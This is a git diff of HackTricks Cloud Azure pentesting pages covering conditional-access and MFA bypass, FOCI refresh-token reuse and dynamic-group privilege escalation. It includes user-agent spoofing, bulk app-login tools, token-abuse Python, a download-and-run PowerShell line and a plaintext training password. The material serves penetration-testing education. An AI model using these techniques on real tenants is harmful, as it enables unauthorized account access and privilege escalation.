diff --git a/.gitbook/assets/image (350).png b/.gitbook/assets/image (350).png new file mode 100644 index 0000000000..15b49c6b8d Binary files /dev/null and b/.gitbook/assets/image (350).png differ diff --git a/.gitbook/assets/image (351).png b/.gitbook/assets/image (351).png new file mode 100644 index 0000000000..a09cff678b Binary files /dev/null and b/.gitbook/assets/image (351).png differ diff --git a/.gitbook/assets/image (352).png b/.gitbook/assets/image (352).png new file mode 100644 index 0000000000..501dd57eb7 Binary files /dev/null and b/.gitbook/assets/image (352).png differ diff --git a/.gitbook/assets/image (353).png b/.gitbook/assets/image (353).png new file mode 100644 index 0000000000..a8a13fe268 Binary files /dev/null and b/.gitbook/assets/image (353).png differ diff --git a/SUMMARY.md b/SUMMARY.md index d8b7591c70..4ab2714346 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -391,7 +391,8 @@ * [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md) * [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md) * [Azure Pentesting](pentesting-cloud/azure-security/README.md) - * [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information.md) + * [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md) + * [Az - Tokens & Public Applications](pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md) * [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md) * [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md) * [Az - Illicit Consent Grant](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-illicit-consent-grant.md) @@ -445,7 +446,7 @@ * [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md) * [Az - Device Registration](pentesting-cloud/azure-security/az-device-registration.md) * [Az - Entra ID (formerly AzureAD - AAD)](pentesting-cloud/azure-security/az-azuread/README.md) - * [Az - Conditional Access Policies / MFA Bypass](pentesting-cloud/azure-security/az-azuread/az-conditional-access-policies-mfa-bypass.md) + * [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-azuread/az-conditional-access-policies-mfa-bypass.md) * [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-azuread/dynamic-groups.md) * [Digital Ocean Pentesting](pentesting-cloud/digital-ocean-pentesting/README.md) * [DO - Basic Information](pentesting-cloud/digital-ocean-pentesting/do-basic-information.md) diff --git a/pentesting-cloud/azure-security/README.md b/pentesting-cloud/azure-security/README.md index 1425729395..a20f61e754 100644 --- a/pentesting-cloud/azure-security/README.md +++ b/pentesting-cloud/azure-security/README.md @@ -17,8 +17,8 @@ Learn & practice GCP Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -29,50 +29,64 @@ Here are a couple of examples: It's possible that a conditional access policy is **checking some information that can be easily tampered allowing a bypass of the policy**. And if for example the policy was configuring MFA, the attacker will be able to bypass it. +When configuring a conditional access policy it's needed to indicate the **users** affected and **target resources** (like all cloud apps). + +It's also needed to configure the **conditions** that will **trigger** the policy: + +* **Network**: Ip, IP ranges and geographical locations + * Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address +* **Microsoft risks**: User risk, Sign-in risk, Insider risk +* **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux + * If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms +* **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients” + * To bypass login with a not selected option +* **Filter for devices**: It’s possible to generate a rule related the used device +* A**uthentication flows**: Options are “Device code flow” and “Authentication transfer” + * This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account + +The possible **results** are: Block or Grant access with potential conditions like require MFA, device to be compliant… + ### Device Platforms - Device Condition -It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS), however, this is based on the **user-agent** so it's pretty easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it doesn't recognize** you will be able to bypass the mFA. +It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS...), however, this is based on the **user-agent** so it's easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it isn't recognized,** you will be able to bypass the MFA or block: -### Locations: Countries, IP ranges - Device Condition +
-Of course if this is set in the conditional policy, an attacker could just use a **VPN** in the **allowed country** or try to find a way to access from an **allowed IP address** to bypass these conditions. +Just making the browser **send an unknown user-agent** (like `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is enough to not trigger this condition.\ +You can change the user agent **manually** in the developer tools: -### Office365 Client Apps +
-You could indicate that if clients **access Office 365 apps from the browser they need MFA**: + Or use a [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). -
+### Locations: Countries, IP ranges - Device Condition -To bypass this, it's possible to pretend you log-in into an app from a desktop application (like to Microsoft Teams in the following example) which will bypass the protection: +If this is set in the conditional policy, an attacker could just use a **VPN** in the **allowed country** or try to find a way to access from an **allowed IP address** to bypass these conditions. -```bash -roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokrns-stdout +### Cloud Apps - -``` +It's possible to configure **conditional access policies to block or force** for example MFA when a user tries to access **specific app**: -As Microsoft Teams app has a lot of permissions, you will be able to use that access. +
-{% hint style="success" %} -You can find the I**D of more public applications** with predefined Office365 permissions in the database of roadtools: +To try to bypass this protection you should see if you can **only into any application**.\ +The tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) has **tens of application IDs hardcoded** and will try to login into them and let you know and even give you the token if successful. + +In order to **test specific application IDs in specific resources** you could also use a tool such as: {% code overflow="wrap" %} -```sql -SELECT appId, displayName FROM ApplicationRefs WHERE publicCLient = 1 ORDER BY displayName ASC +```bash +roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout + + ``` {% endcode %} -{% endhint %} -This attack is specially interesting because by default public Office365 applications will have permissions to access some data. +Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also. -### Other apps +The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained. -By default, other apps created by users won't have permissions and could be private.\ -However, users could also create **public** **apps** granting them some **permissions.** - -A potential scenario where a policy is set to **require MFA to access an application** when the user is using a **browser** (maybe because it's a web application and therefore it will be the only way), if there is a **proxy application** -an application allowed to **interact to other apps on behalf of users**-, the user could **login in the proxy application** and then through this proxy application **login into the initially MFA protected app**. - -Check the [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) and the [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) techniques. +The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them. ## Other Az MFA Bypasses @@ -108,6 +122,12 @@ Find more information about this kind of attack in the following page: ## Tooling +### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) + +This script get some user credentials and check if it can login in some applications. + +This is useful to see if you **aren't required MFA to login in some applications** that you might later abuse to **escalate pvivileges**. + ### [roadrecon](https://github.com/dirkjanm/ROADtools) Get all the policies @@ -121,21 +141,40 @@ roadrecon plugin policies MFASweep is a PowerShell script that attempts to **log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled**. Depending on how conditional access policies and other multi-factor authentication settings are configured some protocols may end up being left single factor. It also has an additional check for ADFS configurations and can attempt to log in to the on-prem ADFS server if detected. ```bash +Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password ``` +### [ROPCI](https://github.com/wunderwuzzi23/ropci) + +This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded. + +{% hint style="success" %} +You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force. +{% endhint %} + +```bash +./ropci configure +./ropci apps list --all --format json -o apps.json +./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv +./ropci auth bulk -i apps.csv -o results.json +``` + ### [donkeytoken](https://github.com/silverhack/donkeytoken) Donkey token is a set of functions which aim to help security consultants who need to validate Conditional Access Policies, tests for 2FA-enabled Microsoft portals, etc.. -```powershell -Import-Module 'C:\Users\Administrador\Desktop\Azure\Modulos ps1\donkeytoken' -Force -``` +
git clone https://github.com/silverhack/donkeytoken.git
+Import-Module '.\donkeytoken' -Force
+
**Test each portal** if it's possible to **login without MFA**: ```powershell -Test-MFA -credential $cred -Verbose -Debug -InformationAction Continue +$username = "conditional-access-app-user@azure.training.hacktricks.xyz" +$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force +$cred = New-Object System.Management.Automation.PSCredential($username, $password) +Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested: diff --git a/pentesting-cloud/azure-security/az-azuread/dynamic-groups.md b/pentesting-cloud/azure-security/az-azuread/dynamic-groups.md index ad5e112d98..764e006a58 100644 --- a/pentesting-cloud/azure-security/az-azuread/dynamic-groups.md +++ b/pentesting-cloud/azure-security/az-azuread/dynamic-groups.md @@ -27,35 +27,35 @@ This feature requires Azure AD premium P1 license. Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes. -Get groups that allow Dynamic membership: `Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}` +Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`** ### Example -* **Rule example**: `(user.otherMails -any (_ -contains "tester")) -and (user.userType -eq "guest")` -* **Rule description**: Any Guest user with a secondary email with the string 'tester' will be added to the group +* **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")` +* **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group -1. Go to **Azure Active Directory** -> **Users** and **click** on `Want to switch back to the legacy users list experience? Click here to leave the preview` -2. Click on **`New guest user`** and **invite** an email -3. The **user's profile** will be **added** to the Azure AD as soon as the invite is sent. Open the user's profile and **click on (manage) under Invitation accepted**. - * ![](<../../../.gitbook/assets/image (281).png>) -4. Change **`Resend invite?`** to **Yes** and you will get an invitation URL: - * ![](<../../../.gitbook/assets/image (205).png>) -5. Copy the **URL** and **open** it, **login** as the invited user and **accept** the invitation -6. **Login** in the cli as the user and set the secondary email +For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft\_AAD\_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\ +Unfortunately the page doesn't allow to modify the attribute values so we need to use the API: {% code overflow="wrap" %} -```` ```powershell -# Login -$password = ConvertTo-SecureString 'password' - AsPlainText -Force -$creds = New-Object -System.Management.Automation.PSCredential('externaltester@somedomain.onmicrosoft.com', $Password) -Connect-AzureAD -Credential $creds -TenantId - -# Chnage OtherMails setting -Set-AzureADUser -ObjectId -OtherMails @.onmicrosoft.com -Verbose +# Login with the gust user +az login --allow-no-subscriptions + +# Get user object ID +az ad signed-in-user show + +# Update otherMails +az rest --method PATCH \ + --url "https://graph.microsoft.com/v1.0/users/" \ + --headers 'Content-Type=application/json' \ + --body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}' + +# Verify the update +az rest --method GET \ + --url "https://graph.microsoft.com/v1.0/users/" \ + --query "otherMails" ``` -```` {% endcode %} ## References diff --git a/pentesting-cloud/azure-security/az-basic-information.md b/pentesting-cloud/azure-security/az-basic-information/README.md similarity index 84% rename from pentesting-cloud/azure-security/az-basic-information.md rename to pentesting-cloud/azure-security/az-basic-information/README.md index 42f14c17f4..7380bd58c3 100644 --- a/pentesting-cloud/azure-security/az-basic-information.md +++ b/pentesting-cloud/azure-security/az-basic-information/README.md @@ -1,8 +1,8 @@ # Az - Basic Information {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -30,7 +30,7 @@ Learn & practice GCP Hacking:

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

+

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

### Azure Subscriptions @@ -316,7 +316,7 @@ Example of permissions JSON for a custom role: * In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**. * An explicit **deny role assignment takes precedence** over the role granting the permission. -

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

+

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

### Global Administrator @@ -325,7 +325,7 @@ Global Administrator is a role from Entra ID that grants **complete control over Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\ This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties) -
+
### Azure Policies @@ -380,7 +380,7 @@ In Azure **permissions are can be assigned to any part of the hierarchy**. That This hierarchical structure allows for efficient and scalable management of access permissions. -
+
### Azure RBAC vs ABAC @@ -394,48 +394,9 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond Privileged Identity Management (PIM) in Azure is a tool that **manages, controls, and monitors privileged access** in Azure Active Directory and Azure. It enhances security by providing **just-in-time and time-limited privileged access**, **enforcing approval workflows, and requiring additional authentication**. This approach minimizes the risk of unauthorized access by ensuring that elevated permissions are granted only when necessary and for a specific duration. -## Authentication Tokens +## -There are **three types of tokens** used in OIDC: -* [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default. -* **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**. -* **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens**. - -{% hint style="warning" %} -Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**. -{% endhint %} - -### Access Tokens "aud" - -Depending on the action you want to perform the "**aud**" of the access token must be authorized to contact the API URL you will contact. - -The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token: - -{% hint style="danger" %} -Note that the following are just the APIs supported by `az account get-access-token` but there are more. -{% endhint %} - -* **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD). - * `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more. - * `https://management.core.windows.net/ or https://management.azure.com/` -* **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud. - * `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service. - * `https://datalake.azure.net/` -* **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content. - * `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services. - * `https://graph.microsoft.com` -* **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB. - * `https://ossrdbms-aad.database.windows.net` - -Check the following page to learn different ways to **request access tokens** and login with them: - -{% content-ref url="az-azuread/" %} -[az-azuread](az-azuread/) -{% endcontent-ref %} ## References @@ -446,8 +407,8 @@ Check the following page to learn different ways to **request access tokens** an * [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration) {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md new file mode 100644 index 0000000000..27bcf3ddac --- /dev/null +++ b/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -0,0 +1,233 @@ +# Az - Tokens & Public Applications + + + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} + +## Basic Information + +Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources. + +### OAuth + +**Key Participants in OAuth 2.0:** + +1. **Resource Server (RS):** Protects resources owned by the resource owner. +2. **Resource Owner (RO):** Typically an end-user who owns the protected resources. +3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner. +4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them. + +**Scopes and Consent:** + +* **Scopes:** Granular permissions defined on the resource server that specify access levels. +* **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes. + +**Microsoft 365 Integration:** + +* Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications. +* These applications are deeply integrated and often have interdependent service relationships. +* To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications. +* **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l. +* These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces. + +**Client Application Types:** + +1. **Confidential Clients:** + * Possess their own credentials (e.g., passwords or certificates). + * Can **securely authenticate themselves** to the authorization server. +2. **Public Clients:** + * Do not have unique credentials. + * Cannot securely authenticate to the authorization server. + * **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application. + +## Authentication Tokens + +There are **three types of tokens** used in OIDC: + +* [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default. +* **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**. +* **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens). + * A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**. + * A refresh token is encrypted and only Microsoft can decrypt it. + * Getting a new refresh token doesn't revoke the previous refresh token. + +{% hint style="warning" %} +Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**. +{% endhint %} + +### Access Tokens "aud" + +The field indicated in the "aud" field is the **resource server** (the application) used to perform the login. + +The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token: + +{% hint style="danger" %} +Note that the following are just the APIs supported by `az account get-access-token` but there are more. +{% endhint %} + +
+ +aud examples + +* **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD). + * `https://graph.windows.net/` + +- **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more. + * `https://management.core.windows.net/ or https://management.azure.com/` + +* **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud. + * `https://batch.core.windows.net/` + +- **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service. + * `https://datalake.azure.net/` + +* **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content. + * `https://rest.media.azure.net` + +- **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services. + * `https://graph.microsoft.com` + +* **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB. + * `https://ossrdbms-aad.database.windows.net` + +
+ +### Access Tokens Scopes "scp" + +The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to. + +If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT. + +### Get refresh & access token example + +```python +# Code example from https://github.com/secureworks/family-of-client-ids-research +import msal +import requests +import jwt +from pprint import pprint +from typing import Any, Dict, List + + +# LOGIN VIA CODE FLOW AUTHENTICATION +azure_cli_client = msal.PublicClientApplication( + "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client +) +device_flow = azure_cli_client.initiate_device_flow( + scopes=["https://graph.microsoft.com/.default"] +) +print(device_flow["message"]) + +# Perform device code flow authentication + +azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow( + device_flow +) +pprint(azure_cli_bearer_tokens_for_graph_api) + + + +# DECODE JWT +def decode_jwt(base64_blob: str) -> Dict[str, Any]: + """Decodes base64 encoded JWT blob""" + return jwt.decode( + base64_blob, options={"verify_signature": False, "verify_aud": False} + ) +decoded_access_token = decode_jwt( + azure_cli_bearer_tokens_for_graph_api.get("access_token") +) +pprint(decoded_access_token) + + +# GET NEW ACCESS TOKEN AND REFRESH TOKEN +new_azure_cli_bearer_tokens_for_graph_api = ( + # Same client as original authorization + azure_cli_client.acquire_token_by_refresh_token( + azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), + # Same scopes as original authorization + scopes=["https://graph.microsoft.com/.default"], + ) +) +pprint(new_azure_cli_bearer_tokens_for_graph_api) +``` + +## FOCI Tokens Privilege Escalation + +Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended. + +Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." + +Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server. + +Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). + +### Get different scope + +Following with the previous example code, in this code it's requested a new token for a different scope: + +```python +# Code from https://github.com/secureworks/family-of-client-ids-research +azure_cli_bearer_tokens_for_outlook_api = ( + # Same client as original authorization + azure_cli_client.acquire_token_by_refresh_token( + new_azure_cli_bearer_tokens_for_graph_api.get( + "refresh_token" + ), + # But different scopes than original authorization + scopes=[ + "https://outlook.office.com/.default" + ], + ) +) +pprint(azure_cli_bearer_tokens_for_outlook_api) +``` + +### Get different client and scopes + +```python +# Code from https://github.com/secureworks/family-of-client-ids-research +microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") +microsoft_office_bearer_tokens_for_graph_api = ( + # This is a different client application than we used in the previous examples + microsoft_office_client.acquire_token_by_refresh_token( + # But we can use the refresh token issued to our original client application + azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), + # And request different scopes too + scopes=["https://graph.microsoft.com/.default"], + ) +) +# How is this possible? +pprint(microsoft_office_bearer_tokens_for_graph_api) +``` + +## References + +* [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md b/pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md index 900c93807a..d4e2283bda 100644 --- a/pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md +++ b/pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md @@ -19,8 +19,8 @@ Learn & practice GCP Hacking: --expand --recurse You can find more info about Subscriptions in: -{% content-ref url="../az-basic-information.md" %} -[az-basic-information.md](../az-basic-information.md) +{% content-ref url="../az-basic-information/" %} +[az-basic-information](../az-basic-information/) {% endcontent-ref %} ### Enumeration @@ -55,8 +55,8 @@ az account management-group subscription show --name --subscr You can find more info about Resource Groups in: -{% content-ref url="../az-basic-information.md" %} -[az-basic-information.md](../az-basic-information.md) +{% content-ref url="../az-basic-information/" %} +[az-basic-information](../az-basic-information/) {% endcontent-ref %} ### Enumeration